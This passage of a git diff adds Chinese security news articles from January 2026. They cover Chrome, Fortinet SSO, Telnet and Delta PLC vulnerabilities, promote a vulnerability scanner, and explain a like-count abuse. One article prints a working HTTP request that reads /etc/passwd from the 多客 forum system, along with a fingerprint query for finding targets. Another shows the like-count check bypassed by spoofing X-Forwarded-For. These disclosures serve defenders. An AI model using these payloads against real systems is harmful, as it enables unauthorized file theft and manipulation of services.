中的高危“越界内存访问”漏洞。此类漏洞允许程序读取或写入超出预期边界的内存，从而可能导致数据损坏、程序崩溃或代码执行。 + +另外两个高危漏洞也得到了修复： +- CVE-2026-0900：谷歌内部报告称 V8 中存在“不适当的实现”。 + +- CVE-2026-0901：浏览器渲染引擎 Blink 中的“不适当的实现”。 + +除了主要威胁之外，Chrome 团队还修复了几个中等严重程度的问题。值得注意的是，CVE-2026-0903 修复了“下载中对不受信任输入的验证不足”漏洞，该漏洞可能被滥用以绕过下载文件的安全检查。 + +另一个中等严重程度的 V8 漏洞 CVE-2026-0902 也得到了解决。 + +谷歌已限制对具体漏洞详情的访问，直到大多数用户完成更新，以防止威胁行为者对补丁进行逆向工程以创建漏洞利用程序。 + +强烈建议用户立即前往“菜单”>“帮助”>“关于 Google Chrome”查看浏览器的更新状态。如果浏览器尚未自动更新，此操作将触发下载。 + diff --git a/doc/2026-01/Fortinet 修复了 CVE-2026-24858 漏洞，此前检测到 FortiOS SSO 漏洞利用.md b/doc/2026-01/Fortinet 修复了 CVE-2026-24858 漏洞，此前检测到 FortiOS SSO 漏洞利用.md new file mode 100644 index 00000000..7b3b35fb --- /dev/null +++ b/doc/2026-01/Fortinet 修复了 CVE-2026-24858 漏洞，此前检测到 FortiOS SSO 漏洞利用.md @@ -0,0 +1,25 @@ +# Fortinet 修复了 CVE-2026-24858 漏洞，此前检测到 FortiOS SSO 漏洞利用 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-01-29 01:02 + +Fortinet 已开始发布安全更新，以解决影响 FortiOS 的一个严重漏洞，该漏洞已被实际利用。 + +该漏洞的 CVE 编号为**CVE-2026-24858**（CVSS 评分：9.4），被描述为与 FortiOS 单点登录 (SSO) 相关的身份验证绕过漏洞。该漏洞还会影响 FortiManager 和 FortiAnalyzer。该公司表示，他们正在继续调查其他产品（包括 FortiWeb 和 FortiSwitch Manager）是否也受到该漏洞的影响。 + +Fortinet 在周二发布的一份公告中表示：“FortiOS、FortiManager 和 FortiAnalyzer 中存在一个利用备用路径或通道绕过身份验证的漏洞 [CWE-288]，攻击者如果拥有 FortiCloud 帐户和已注册的设备，则可能利用该漏洞登录到其他帐户注册的其他设备，前提是这些设备上启用了 FortiCloud SSO 身份验证。” + +值得注意的是，FortiCloud SSO 登录功能在出厂默认设置中未启用。只有当管理员通过设备的图形用户界面 (GUI) 将设备注册到 FortiCare 时，该功能才会启用，除非管理员已手动切换“允许使用 FortiCloud SSO 进行管理员登录”开关。 + +就在几天前，Fortinet证实，不明身份的威胁行为者正在利用一种“新的攻击路径”在无需任何身份验证的情况下实现单点登录 (SSO)。这种访问权限被滥用，用于创建持久化的本地管理员帐户，修改配置以授予这些帐户 VPN 访问权限，并窃取防火墙配置。 + +过去一周，这家网络安全厂商表示已采取以下措施—— +- 2026年1月22日，锁定了两个恶意FortiCloud帐户（cloud-noc@mail.io和cloud-init@mail.io）。 +- 2026年1月26日，FortiCloud端的FortiCloud SSO功能已禁用。 +- 2026年1月27日重新启用FortiCloud单点登录，同时禁用从运行易受攻击版本的设备登录的选项 +换句话说，客户需要升级到最新版本的软件，FortiCloud SSO 身份验证才能正常工作。Fortinet 还敦促用户，如果发现任何安全漏洞，应将设备视为已被入侵，并建议采取以下措施： +- 请确保设备运行的是最新固件版本 +- 使用已知的干净版本恢复配置，或审核是否存在任何未经授权的更改。 +- 轮换凭据，包括可能连接到 FortiGate 设备的任何 LDAP/AD 帐户。 +这一发展促使美国网络安全和基础设施安全局 (CISA) 将CVE-2026-24858添加到其已知利用漏洞 ( KEV ) 目录中，并强制要求联邦民事行政部门 (FCEB) 机构在 2026 年 1 月 30 日之前修复这些问题。 + + diff --git a/doc/2026-01/Telnet漏洞或影响全球80万台设备，IoT∕OT设备会很受伤！.md b/doc/2026-01/Telnet漏洞或影响全球80万台设备，IoT∕OT设备会很受伤！.md index 3c3f3891..b2796957 100644 --- a/doc/2026-01/Telnet漏洞或影响全球80万台设备，IoT∕OT设备会很受伤！.md +++ b/doc/2026-01/Telnet漏洞或影响全球80万台设备，IoT∕OT设备会很受伤！.md @@ -1,13 +1,19 @@ # Telnet漏洞或影响全球80万台设备，IoT/OT设备会很受伤！ -原创 网空闲话 - 网空闲话 网空闲话plus 2026-01-27 23:37 + 安小圈 2026-01-29 00:45 + +**安小圈** + + +第846期 + +![](https://mmbiz.qpic.cn/mmbiz_png/BWicoRISLtbMBktbWEsll9n00m9KQoFFQnYPRP1dRSHObx4j1kok6vooVTjicyXxkAO7kUbdNKSb6eePhIUg955w/640?wx_fmt=png "") 2026年1月20日以来，网络安全领域接连拉响警报，一个围绕传统Telnet协议的严重漏洞正将全球超过80万台设备置于高危风险之中。安全研究人员、非营利组织及多国网络安全机构发布的数据和分析显示，这不仅是一个简单的端口暴露问题，更涉及一个可导致攻击者直接获取设备最高权限的认证绕过漏洞。 鉴于可能存在此漏洞的传统设备和嵌入式设备普遍存在，OT（运营技术）环境面临的风险尤为严峻。此外，传统物联网设备和影子物联网设备也构成风险，因为此类设备通常默认启用Telnet功能。 因此存量IoT/OT设备 其特性使其正成为攻击的首要目标，一场波及消费领域与关键基础设施的潜在安全危机悄然而至。 -![](https://mmbiz.qpic.cn/mmbiz_jpg/0KRmt3K30icUtvfIXIO6LwlTJOthBh95pic29c9nJ08eEqFVeRg7zFHEAXYm1HqJSNtKjhSb15YueNX4aQl5ib3Xg/640?wx_fmt=jpeg&from=appmsg "") +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/0KRmt3K30icUtvfIXIO6LwlTJOthBh95p0R46SbXuM7FfEjY3QXOHZB9ydV8FibFnL4Zzbj9mAFqVd6Zh2ibepOSA/640?wx_fmt=jpeg&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=0 "") 漏洞影响：从端口暴露到权限失守 @@ -47,8 +53,7 @@ ：许多消费级路由器、摄像头等设备直接通过宽带连接互联网，如果未配置正确的防火墙规则，其管理接口（包括Telnet）便可能直接面向全球网络。Shadowserver的数据显示，暴露的设备主要集中在亚洲和南美洲。其中，**中国的暴露情况尤为突出，约有13万台设备位列全球第一** ，其次为巴西（约11.9万台）、美国（约5万台）、日本（约4.1万台）、墨西哥（约3万台）和印度（约2.7万台）。这一分布反映了全球互联网设备存量、网络架构及安全实践水平的差异。 -![该图片无替代文字](https://mmbiz.qpic.cn/mmbiz_jpg/0KRmt3K30icUtvfIXIO6LwlTJOthBh95pFmJuwicOl24lmugVKd2ZPzgwWlcQkTJfVVwzfM58m8dtjia6oq5Im6sQ/640?wx_fmt=jpeg&from=appmsg "") -![]( "") +![该图片无替代文字](https://mmbiz.qpic.cn/mmbiz_jpg/0KRmt3K30icUtvfIXIO6LwlTJOthBh95p2mj95s4ZpSHsEBwBjD2aJ4hrAA2VS2GXFvR9NwNpMzIs5xQsAE5lcg/640?wx_fmt=jpeg&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=1 "") 1. **对OT环境的极端威胁** ：网络安全公司Inversion6的CISO伊恩·桑顿-特朗普警告，此漏洞是“寻求在OT系统上持久存在的国家级威胁行为体的绝对礼物”。OT环境中充斥着大量遗留且难以更新的设备，一旦被入侵，攻击者获得的root权限可能直接导致物理进程中断、敏感数据泄露，甚至引发安全事故。 @@ -57,7 +62,7 @@ 警报并非空穴来风。在漏洞细节公开后不到24小时，针对性的攻击便已开始。安全研究团队发布了一份对约18小时攻击活动的详细分析，为我们提供了观察威胁的微观视角： -![](https://mmbiz.qpic.cn/mmbiz_png/0KRmt3K30icUtvfIXIO6LwlTJOthBh95pJo8tm4UsBSJoz37y4XM5NxCUl7HICVqeKiba46QH3FWlW9fymbqibvtA/640?wx_fmt=png&from=appmsg "") +![图片](https://mmbiz.qpic.cn/mmbiz_png/0KRmt3K30icUtvfIXIO6LwlTJOthBh95pz6BzEiahT6zPicEzFSiaKEQs5ib2lpdI71bxyo7v7kP3kzy0howAuvV2nw/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=3 "") - **攻击规模与速度** ：研究人员的蜜罐在短时间内记录了来自**18个独特源IP地址的60次攻击尝试** 。其中一个蜜罐在**不到60分钟** @@ -72,7 +77,7 @@ - **攻击者画像与后续行为** ：分析发现，攻击者技术水平参差不齐。大部分使用自动化脚本进行扫描和初步入侵。成功获取shell访问后，攻击者的行为包括系统侦察、建立SSH密钥持久化后门、部署僵尸网络或挖矿程序等恶意软件，并立即开始横向扫描更多目标。这些实录证明，漏洞利用链已完全武器化，威胁迫在眉睫。 -![](https://mmbiz.qpic.cn/mmbiz_png/0KRmt3K30icUtvfIXIO6LwlTJOthBh95pSticXdWCwcrlJpAKdia6NqeHogNHBUZJNjciaK39biaCLXfSwnJ3O7YGZg/640?wx_fmt=png&from=appmsg "") +![图片](https://mmbiz.qpic.cn/mmbiz_png/0KRmt3K30icUtvfIXIO6LwlTJOthBh95pHb4Lfv859Y08KeXum8sGTBJLG4Kwr2x4AXhQNDbyaGM9aXWA5fe3Kw/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=4 "") 缓解与加固措施 @@ -147,3 +152,30 @@ https://www.cisa.gov/news-events/alerts/2026/01/26/cisa-adds-five-known-exploite https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/index.html +END + + + +**【以上内容** +**来源自：网空闲话plus】** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/BWicoRISLtbOugegrykhydnkHibcSWjpibT2K6EwRCniasJ7zopLbBxIz6DUTwPYApdKXaUBXK5sGLSdSdKb9rBZNg/640?wx_fmt=jpeg "") +![](https://mmbiz.qpic.cn/mmbiz_gif/0YKrGhCM6DbI5sicoDspb3HUwMHQe6dGezfswja0iaLicSyzCoK5KITRFqkPyKJibbhkNOlZ3VpQVxZJcfKQvwqNLg/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1 "") + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550839&idx=1&sn=41654142b38ee39e63d341d0117ef036&scene=21#wechat_redirect) + +[某国产操作系统资深开发者，因不穿西装被开除](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550839&idx=1&sn=41654142b38ee39e63d341d0117ef036&scene=21#wechat_redirect) + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550771&idx=1&sn=b106bb0574435dd5698a74aa50938488&scene=21#wechat_redirect) + + +[看完本文再也不怕网安通报“明文传输” “TLS版本低”漏洞了](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550771&idx=1&sn=b106bb0574435dd5698a74aa50938488&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550766&idx=1&sn=823d3fdd86bc69edcd337e03d89768eb&scene=21#wechat_redirect) +**两名网络安全专家利用勒索软件攻击企业 委托自己联系自己谈赎金** +**** +**聊一聊网络安全公司的内部争斗国家出手！网络安全产业低价中标乱象能否终结？ 网络安全行业还会好起来吗?** + +**《网络安全法》完成修改，自2026年1月1日起施行网络安全法修改了哪些内容？（附详细对照表）全球三大网络安全巨头同时被黑网安：亏损 TOP 10中国联通DNS故障敲响警钟：DNS安全刻不容缓全球超120万个医疗系统公网暴露：患者数据或遭窃取 中国亦受影响个人信息保护负责人信息报送系统填报说明（第一版）全文高度警惕：不明黑客组织攻击中国国防、能源、航空、医疗、网安等重点行业攻防演练在即：如何开展网络安全应急响应【攻防演练】中钓鱼全流程梳理[一文详解]网络安全【攻防演练】中的防御规划与实施攻防必备 | 10款国产“两高一弱”专项解决方案【干货】2024 攻防演练 · 期间 | 需关注的高危漏洞清单攻防演练在即，10个物理安全问题不容忽视红队视角！2024 | 国家级攻防演练100+必修高危漏洞合集(可下载)【攻防演练】中钓鱼全流程梳理攻防演练在即：如何开展网络安全应急响应【零信任】落地的理想应用场景：攻防演练网安同行们，你们焦虑了吗？网安公司最后那点体面，还剩下多少？突发！数万台 Windows 蓝屏。。。。广联达。。。惹的祸。。。权威解答 | 国家网信办就：【数据出境】安全管理相关问题进行答复全国首位！上海通过数据出境安全评估91个，合同备案443个沈传宁：落实《网络数据安全管理条例》，提升全员数据安全意识频繁跳槽，只为投毒【2025】常见的网络安全服务大全（汇总详解）AI 安全 |《人工智能安全标准体系(V1.0)》(征求意见稿)，附下载** + diff --git a/doc/2026-01/【深度解析】VulnHunter - AI 漏洞猎人v6.0漏洞扫描工具：功能全、速度快、操作简，安全测试的终极解决方案.md b/doc/2026-01/【深度解析】VulnHunter - AI 漏洞猎人v6.0漏洞扫描工具：功能全、速度快、操作简，安全测试的终极解决方案.md new file mode 100644 index 00000000..1666972f --- /dev/null +++ b/doc/2026-01/【深度解析】VulnHunter - AI 漏洞猎人v6.0漏洞扫描工具：功能全、速度快、操作简，安全测试的终极解决方案.md @@ -0,0 +1,134 @@ +# 【深度解析】VulnHunter - AI 漏洞猎人v6.0漏洞扫描工具：功能全、速度快、操作简，安全测试的终极解决方案 +原创 暗夜铭少 + 暗夜铭少 黑帽渗透技术 2026-01-28 23:58 + +各位安全圈的同仁们，今天我要为大家详细介绍一款真正能提升工作效率的漏洞扫描神器—— VulnHunter - AI 漏洞猎人v6.0. ！这款工具不仅功能全面，而且操作简单，是渗透测试工程师的必备利器。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DfDsjZoLQS0Y0AMxj5CrlPrd91Q5bDMUjuX7JmjAKqbZFQiaDgpeCsCv8Y7MaT9jjuGUNibjRzicYEVpPAmibEWiaEA/640?wx_fmt=png&from=appmsg "") + +# 一、核心功能详解 +# 1. 信息收集模块 +- 子域名枚举：支持多种枚举方式，发现隐藏资产 + +- 端口扫描：快速识别开放端口和服务类型 + +- 网站指纹识别：自动识别CMS、框架和服务器版本 + +- WHOIS信息查询：获取域名注册信息和归属 + +# 2. 漏洞扫描模块 +- Web漏洞扫描：SQL注入、XSS、CSRF、文件包含等 + +- 系统漏洞扫描：识别操作系统和服务的已知漏洞 + +- 配置错误检测：发现安全配置不当的问题 + +- 弱口令检测：支持多种协议的弱口令扫描 + +# 3. 渗透测试模块 +- 自动化漏洞利用：验证漏洞的可利用性 + +- 权限提升测试：模拟权限提升攻击 + +- 后门检测：发现系统中的后门和恶意代码 + +- 数据泄露检测：识别敏感信息泄露风险 + +# 4. 移动安全模块 +- APK安全检测：分析Android应用的安全风险 + +- iOS应用检测：识别iOS应用的安全问题 + +- 移动API测试：检测移动应用API的安全漏洞 + +- 证书检测：验证移动应用的证书安全性 + +# 5. 报告生成模块 +- 实时扫描报告：扫描过程中实时生成结果 + +- 详细漏洞分析：提供漏洞原理和修复建议 + +- 多格式导出：支持PDF、HTML、JSON等格式 + +- 自定义报告模板：根据需求定制报告内容 + +# 二、技术优势 +# 1. 高性能架构 +- 并发扫描：多线程并发执行，扫描速度提升5倍 + +- 内存优化：高效内存管理，支持大规模扫描 + +- 网络优化：智能调整扫描策略，减少网络拥塞 + +# 2. 智能检测引擎 +- 机器学习算法：减少误报率，提高检测准确性 + +- 规则库更新：定期更新漏洞规则库，应对最新威胁 + +- 自适应扫描：根据目标环境自动调整扫描策略 + +# 3. 易用性设计 +- Web界面：响应式设计，支持多设备访问 + +- 直观操作：拖拽式任务配置，无需命令行 + +- 可视化结果：漏洞风险等级可视化展示 + +- 一键操作：常用功能一键触发，简化工作流程 + +# 4. 安全交付方式 +- 零源码交付：仅提供可执行文件，保护核心技术 + +- 双平台支持：Windows/Linux无缝切换 + +- 无依赖安装：无需额外安装依赖库，开箱即用 + +- 安全更新：支持在线更新漏洞库和功能模块 + +# 三、使用场景 + +- 企业安全评估 ：全面检测企业网络和应用的安全风险 + +- 渗透测试项目 ：提高测试效率，发现更多潜在漏洞 + +- 安全合规检查 ：满足等保、PCI DSS等合规要求 + +- 安全培训教学 ：作为安全培训的实践工具 + +- 个人安全自检 ：检测个人网站和系统的安全状况 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DfDsjZoLQS0Y0AMxj5CrlPrd91Q5bDMUotiafQSPHDIHxTeDIIUl08fibee3pvXwL0DfPN1EQ7OLwu0awpaicaj8w/640?wx_fmt=png&from=appmsg "") + +# 四、如何获取和使用 + +1. 获取工具 ：联系我们获取最新版本的交付包 + +2. 安装使用 ： +- Windows：解压后双击 web_latest.exe ，5秒启动 + +- Linux：解压后执行 chmod +x ./web_latest_linux && ./web_latest_linux + +3. 开始扫描 ：在Web界面创建扫描任务，选择目标和扫描策略 + +4. 查看报告 ：扫描完成后查看详细报告，导出PDF格式 +# 五、客户反馈 "使用VulnHunter后，我们的渗透测试效率提升了80%，以前需要3天完成的项目，现在1天就能完成。" + +——某安全服务公司技术总监 "VulnHunter的Web界面非常直观，即使是新手也能快速上手，大大降低了学习成本。" + +——某企业安全工程师 +# 六、限时优惠 + +现在联系我们，即可获得： +- 7天试用企业版 + +- 专业技术支持 + +- 定制化扫描策略 + +安全无小事，选择一款好的工具能让您的工作事半功倍！VulnHunter，您值得拥有的漏洞扫描神器！ + +前往官网下载获取7天企业体验，激活码联系客服获取 + +官方下载地址： +https://duduziy.com/785.html + diff --git a/doc/2026-01/台达 PLC 被曝 3 个“9 分级”严重漏洞：真危机，还是被夸大的恐慌？.md b/doc/2026-01/台达 PLC 被曝 3 个“9 分级”严重漏洞：真危机，还是被夸大的恐慌？.md new file mode 100644 index 00000000..8a2cf150 --- /dev/null +++ b/doc/2026-01/台达 PLC 被曝 3 个“9 分级”严重漏洞：真危机，还是被夸大的恐慌？.md @@ -0,0 +1,187 @@ +# 台达 PLC 被曝 3 个“9 分级”严重漏洞：真危机，还是被夸大的恐慌？ +云梦DC + 云梦DC 云梦安全 2026-01-29 01:01 + +最近，工业安全圈抛出一个不太起眼、但分量不轻的消息—— + +![](https://mmbiz.qpic.cn/mmbiz_png/ndxZsFvkmpyCb1oHMRHa5DXukXkNPj0hjdibBUV235L2OKaibicnSoSzuQAs6WnVUhXGYwBGBqNyc9g0tfObyDdtA/640?wx_fmt=png&from=appmsg "") + + +👉 **台达电子（Delta）的一款工业 PLC 被发现多个严重漏洞** + +👉 **其中 3 个 CVSS 评分超过 9.0** + +👉 **涉及身份验证绕过、敏感信息泄露、设备失控** + +问题来了： +**这是一次足以引发严重工业事故的安全危机，还是 OT 安全领域“老生常谈”的又一轮焦虑？** + +业内，已经吵起来了。 +## 一、出问题的是谁？——一款“便宜但常见”的 PLC + +被点名的设备是： +> **Delta DVP-12SE11T** + + +这是台湾台达电子生产的一款**中低端可编程逻辑控制器（PLC）** +，价格不高，但在亚洲地区极其常见，尤其用于： +- 水处理系统 + +- 食品与饮料加工 + +- 简单自动化产线 + +- 包装线、输送线 + +一句话： +**它不是高端 PLC，但它在“关键现场”大量存在。** +## 二、漏洞怎么发现的？时间线很关键 + +2025 年 8 月，OPSWAT 旗下 **515 渗透测试团队** + 对该型号 PLC 进行安全研究，结果发现： +- **4 个安全漏洞** + +- **其中 3 个达到“严重（Critical）”级别** + +直到 **2026 年初** +，台达电子才向客户推送了修复这些问题的固件更新。 + +问题是—— +**很多工业现场，根本没法“说升就升”。** +## 三、具体漏洞有哪些？一句话都不轻 + +这次披露的 4 个漏洞分别是： +### 🔴 CVE-2025-15102（CVSS 9.1） + +**身份验证绕过** +- 安全关键代码路径未强制身份验证 + +- 攻击者可发送特制数据包绕过认证 + +- 在特定条件下直接访问设备功能 + +👉 **本质：不该信的人，被信了** +### 🔴 CVE-2025-15103（CVSS 9.8） + +**认证逻辑缺陷导致密码相关信息泄露** +- 不是直接明文密码 + +- 但足以辅助攻击、降低破解成本 + +👉 **这是给后续攻击“铺路”的漏洞** +### 🟠 CVE-2025-15358（CVSS 7.1） + +**拒绝服务（DoS）** +- 内存处理校验不足 + +- 未认证攻击者即可冻结 PLC + +- 需要人工干预才能恢复 + +👉 **对连续生产系统来说，这已经是事故级风险** +### 🔴 CVE-2025-15359（CVSS 9.1） + +**越界写入** +- 可影响系统完整性 + +- 导致不可预测的设备行为 + +👉 **在 OT 场景中，“不可预测”本身就很危险** +## 四、为什么有人认为“这事很严重” + +OPSWAT 515 团队负责人 Loc Nguyen 直言不讳： +> PLC 通常直接控制物理过程 + +一旦被攻击，后果不是数据泄露 + +而是 **不安全动作、设备损坏，甚至人身伤害** + + +尤其是在以下场景： +- 机器人与伺服系统 + +- 高速运动控制 + +- 自动化产线 + +**黑客一旦获得控制权，影响的是现实世界。** +## 五、国家级攻击者被反复点名 + +OPSWAT 的另一位高管 Michael Arcamone 提出了一个更敏感的视角： +> 普通网络犯罪分子，很难深入 OT 网络 + +但 **国家级攻击者可以** + + +他特别提到： +- 中国在 OT 攻击领域的活跃度 + +- 台达总部位于台北 + +- PLC 很可能在中国生产 + +- **Volt Typhoon、UNC3886、APT41** + 等组织 + +这让不少人将问题上升到了**地缘政治 + 工业安全** +层面。 +## 六、但另一派观点：PLC 漏洞，真的那么重要吗？ + +有意思的是，**OT 安全圈并未形成一致共识** +。 + +Waterfall Security Solutions 的工业安全副总裁 Andrew Ginter 给出了另一种冷静但刺耳的观点： +> PLC 的确重要 + +但它们通常位于纵深防御的最深处 +**本来就不应该被直接接触到** + + +也就是说： +- PLC 很难被直接从互联网攻击 + +- 这是 OT 网络设计的初衷 + +- **“能打到 PLC，本身就说明前面已经失守”** + +## 七、更扎心的一句话：你甚至不需要漏洞 + +Ginter 还点出了一个 OT 圈的“老大难”问题： +> 许多 PLC 通信 +**本来就没有加密，也没有身份验证** + + +在这种情况下： +- 攻击者不一定需要 CVE + +- 只要能连上网络 + +- 就可能发出错误指令 + +换句话说—— +**漏洞很危险，但网络暴露本身更危险。** +## 八、所以，这到底是不是“必须立刻恐慌”的事？ + +综合来看，这件事的现实结论更接近于： +- ✔️ **漏洞本身确实严重** + +- ✔️ **补丁应尽快评估、规划升级** + +- ❌ **但不等于所有 PLC 都已处于“随时被黑”状态** + +真正决定风险高低的，不只是 CVSS 分数，而是： +- PLC 是否暴露在不可信网络 + +- 是否存在远程访问通道 + +- 现场是否有完善的网络分区与隔离 + +## 最后一句话 + +**PLC 漏洞从来不只是“代码问题”，而是“工程、网络、运维、安全”共同决定的结果。** + +这次台达 PLC 事件，更像是一次提醒： +> **当 OT 系统越来越开放、越来越互联，“靠隔离吃老本”的时代，正在慢慢结束。** + + + diff --git a/doc/2026-01/多客圈子论坛系统任意文件读取漏洞 附POC.md b/doc/2026-01/多客圈子论坛系统任意文件读取漏洞 附POC.md new file mode 100644 index 00000000..484eae41 --- /dev/null +++ b/doc/2026-01/多客圈子论坛系统任意文件读取漏洞 附POC.md @@ -0,0 +1,97 @@ +# 多客圈子论坛系统任意文件读取漏洞 附POC +原创 安服仔 + 安服仔 北风漏洞复现文库 2026-01-29 01:22 + +# 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 +# +# + +01 + +— + +漏洞名称 + +多客圈子论坛系统任意文件读取漏洞 + +02 + +— + +影响版本 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhLTxND8mIPwiaca3HjpxsgMOHJiaPmELuHYPfCHgM308zZYsdRqhJOMrG4SCgMxibX5h14xETWictrwTg/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=0 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhJyLoQ2TobeEXuUIwfOCfaRRY5snD0J4jqaWoEyXUYycrmgrya59pottW1Hvn28FzlqiaKgAOQWZEw/640?wx_fmt=png&from=appmsg "") + + +03 + +— + +漏洞简介 + +多客圈子论坛系统是一种面向特定人群或特定话题的社交网络，它提供了用户之间交流、分享、讨论的 +平台。在这个系统中，用户可以创建、加入不同的圈子，圈子可以是基于兴趣、地域、职业等不同主题的。用户可以在圈子中发帖、评论、点赞等互动。社交圈子论坛系统除了提供基本的社交功能外，还可以根据用户行为和兴趣为用户推荐相关内容 +。 +未经身份验证的攻击者可通过该接口构造恶意请求，利用curl_exec +函数读取系统重要文件，如/etc/passwd +（Linux 系统用户信息文件）或数据库配置文件等。 + + +04 + +— + +资产测绘 +``` +body="/static/index/js/jweixin-1.2.0.js" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhJyLoQ2TobeEXuUIwfOCfaRBaDnFrf3fbVxcIicKnxy8ofUTz6APS4rVC1FDXcdYwgvPDsKL6Zug9g/640?wx_fmt=png&from=appmsg "") + + +05 + +— + +漏洞复现 + +POC +``` +GET /index.php/api/login/httpGet?url=file:///etc/passwd HTTP/1.1 +Host: 127.0.0.1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate +Connection: close +Cookie: think_var=..%2F..%2Fapplication%2Fdatabase; PHPSESSID=m0lgoj6m4hovmtisu1868cc8h5 +Upgrade-Insecure-Requests: 1 +Priority: u=0, i +Pragma: no-cache +Cache-Control: no-cache +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhJyLoQ2TobeEXuUIwfOCfaRGnZwxXmcNuTjJeDicos7Q4e1OZBPpicp0RaXiajPxmGCvApHI40Awe3ZA/640?wx_fmt=png&from=appmsg "") + + +06 + +— + +修复建议 + +升级至最新版本 + + + +07 + +— + +往期回顾 + + + + diff --git a/doc/2026-01/文章点赞漏洞.md b/doc/2026-01/文章点赞漏洞.md new file mode 100644 index 00000000..3150a170 --- /dev/null +++ b/doc/2026-01/文章点赞漏洞.md @@ -0,0 +1,144 @@ +# 文章点赞漏洞 +原创 破阵攻防实验室 + 破阵攻防实验室 破阵攻防实验室 2026-01-29 01:40 + +**免责声明** + +    由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人承担， +破阵攻防实验室 +及文章作者不承担任何责任。如有侵权烦请告知，我们将立即删除相关内容并致歉。请遵守《中华人民共和国个人信息保护法》、《中华人民共和国网络安全法》等相关法律法规。 + + +0x01 漏洞简介 + +      文章点赞漏洞是指由于身份校验、业务逻辑或接口设计不当，攻击者可以非正常地增加或操纵文章点赞数，从而影响业务指标、舆论导向或排行榜结果。 + +      文章点赞漏洞本质上属于业务逻辑漏洞。 + +常见漏洞成因分类： + +1. 未授权点赞（身份校验缺失） +``` +未登录用户可直接调用点赞接口 +仅前端限制，后端未校验登录态 +``` + +2. 重复点赞漏洞（幂等性缺失） +``` +同一用户可对同一文章多次点赞 +未做唯一性约束 +``` + +3. 点赞/取消点赞逻辑漏洞（状态机错误） +``` +点赞直接+1 +取消点赞直接-1 +不校验当前状态 +``` + +4. 参数篡改/水平越权 +``` +接口从请求参数中读取 user_id 类信息 +``` + +5. 高频请求刷赞（缺乏频控） +``` +无 Rate Limit +无 IP/用户频率限制 +``` + +6. 并发竞争漏洞 +``` +校验和写入分离 +并发请求绕过校验 +``` + + +0x02 漏洞复现 + +在某博客系统中存在点赞功能 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOM18R0cAT7J2vTcfAFrLtXliaM7UEibuNup7icaa2yNc1j7ic3At6xwNBPXg/640?wx_fmt=png&from=appmsg "") + +点击“点赞”，HTTP请求包中带有XFF信息 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMxWiboDCChKHDT30ib4mrt4iaJfDEvlaTPvRRPnyreW7gPCly0HC2wnZXA/640?wx_fmt=png&from=appmsg "") + +响应包返回“点赞成功” + +当再次提交这个请求包时会响应已赞过，说明后端存在重复点赞校验 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMMAH2SWrhibKxBf9lyLuTu6jgzuiaVzcNLkMUFmbnPXGpzRWVc9x0YPNA/640?wx_fmt=png&from=appmsg "") + +修改XFF字段的值为：127.0.0.3，尝试Bypass + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMGGKAzTjTg2YpGmkn6vEFoODrON5vszFO4FnpEoic3c1Db5MLAq1VT3Q/640?wx_fmt=png&from=appmsg "") + +响应结果“点赞成功”，说明后端是通过XFF字段进行校验的！ + +利用这个漏洞进行刷赞操作 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMZZFbMaQ5uP96dP9icOaiatOicdiatBEw2IajtmyYUWvSI1C9YvjYCulk4A/640?wx_fmt=png&from=appmsg "") + +刷新前台页面，点赞数更新了，说明刷赞成功！ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMpZriaCuMpiaMZbj7XIyGbCvWCHdKAzBeMu1bib3S0q3dnoNicicaQq0fFgA/640?wx_fmt=png&from=appmsg "") + + +0x03 漏洞分析 + +漏洞相关代码在/blog/api/love处 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMZZvic1WYVRSRLvMa8L1wfNucIA8LI6I8zQ3KMuQJfy07FOnjsQr854Q/640?wx_fmt=png&from=appmsg 